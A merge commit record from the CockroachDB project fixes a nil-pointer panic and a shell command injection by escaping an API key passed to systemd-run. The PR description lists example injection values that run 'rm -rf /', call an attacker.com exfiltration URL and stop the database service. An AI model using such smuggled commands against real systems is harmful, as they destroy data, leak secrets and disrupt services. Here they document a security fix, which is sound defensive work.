Merge #153227

153227: roachtest, drtprod: vulnerability fixes r=golgeek a=nameisbhaskar

This PR has fixes for the following issues reported:
1. The `protoutil.Unmarshal` function immediately calls `pb.Reset()` on the provided Message interface (line 70 in marshal.go) Since `payload` is nil, calling `Reset()` on a nil interface will cause a **runtime panic** This is a guaranteed panic - there's no code path where this works

2. The command is passed to `roachprodRun` which ultimately executes it through a shell
   - My analysis confirms that `roachprod. Run` executes commands via `/bin/bash -c` (local) or through SSH shell (remote) Attack Scenarios **
   - `secret; rm -rf /; #` → Would execute `rm -rf /` after setting the environment variable
   - `secret && curl attacker.com/exfiltrate` → Would make unauthorized network requests
   - `secret; systemctl stop cockroach; #` → Could disrupt services

Epic: None
Release note: None

Co-authored-by: Bhaskarjyoti Bora <[email protected]>

Author: craig[bot]

pkg/cmd/drtprod/cli/commands/BUILD.bazel

@@ -18,6 +18,7 @@ go_library(
         "//pkg/util/syncutil",
         "//pkg/util/timeutil",
         "//pkg/workload",
+        "@com_github_alessio_shellescape//:shellescape",
         "@com_github_cockroachdb_errors//:errors",
         "@com_github_datadog_datadog_api_client_go_v2//api/datadogV1",
         "@com_github_spf13_cobra//:cobra",

pkg/cmd/drtprod/cli/commands/yamlprocessor.go

@@ -17,6 +17,7 @@ import (
 	"sync"
 	"time"
 
+	"github.com/alessio/shellescape"
 	"github.com/cockroachdb/cockroach/pkg/cmd/drtprod/helpers"
 	"github.com/cockroachdb/cockroach/pkg/cmd/roachprod/cli"
 	"github.com/cockroachdb/cockroach/pkg/roachprod"
@@ -305,7 +306,8 @@ func setupAndExecute(
 	// the DD_API_KEY is added to environment
 	ddAPIKey := os.Getenv("DD_API_KEY")
 	if ddAPIKey != "" {
-		envArg = fmt.Sprintf(" --setenv=DD_API_KEY=%s", ddAPIKey)
+		// Escape shell metacharacters to prevent command injection
+		envArg = fmt.Sprintf(" --setenv=DD_API_KEY=%s", shellescape.Quote(ddAPIKey))
 	}
 	// Prepare the systemd command to execute the drtprod binary.
 	executeArgs := fmt.Sprintf(

pkg/cmd/drtprod/cli/commands/yamlprocessor_test.go

@@ -464,7 +464,7 @@ environment:
 			runCmds["systemd"][0])
 	})
 	t.Run("run command remotely with no failure and DD_API_KEY set", func(t *testing.T) {
-		_ = os.Setenv("DD_API_KEY", "the_secret")
+		_ = os.Setenv("DD_API_KEY", `the"test'secret`)
 		defer func() {
 			_ = os.Unsetenv("DD_API_KEY")
 		}()
@@ -529,13 +529,13 @@ environment:
 		for _, v := range putCmds {
 			require.Equal(t, 1, v)
 		}
-		t.Log(runCmds)
 		require.Equal(t, 3, len(runCmds))
 		require.Equal(t, 4, len(runCmds["mkdir"]))
 		require.Equal(t, 1, len(runCmds["cp"]))
 		require.Equal(t, 1, len(runCmds["systemd"]))
-		require.Equal(t, "sudo systemd-run --unit test-monitor --same-dir --uid $(id -u) --gid $(id -g) --setenv=DD_API_KEY=the_secret drtprod execute ./location/to/test.yaml",
+		require.Equal(t, "sudo systemd-run --unit test-monitor --same-dir --uid $(id -u) --gid $(id -g) --setenv=DD_API_KEY='the\"test'\"'\"'secret' drtprod execute ./location/to/test.yaml",
 			runCmds["systemd"][0])
+		t.Log(runCmds["systemd"][0])
 	})
 	t.Run("run command remotely with no failure and targets specified", func(t *testing.T) {
 		f, err := os.CreateTemp("", "drtprod")

pkg/cmd/roachtest/operations/changefeeds/utils.go

@@ -73,7 +73,7 @@ func getJobsUpdatedWithPayload(
 
 	// Execute query and process results.
 	err := helpers.ExecuteQuery(ctx, func(rowValues []string) error {
-		var payload *jobspb.Payload
+		payload := &jobspb.Payload{}
 		err := protoutil.Unmarshal([]byte(rowValues[1]), payload)
 		if err != nil {
 			return err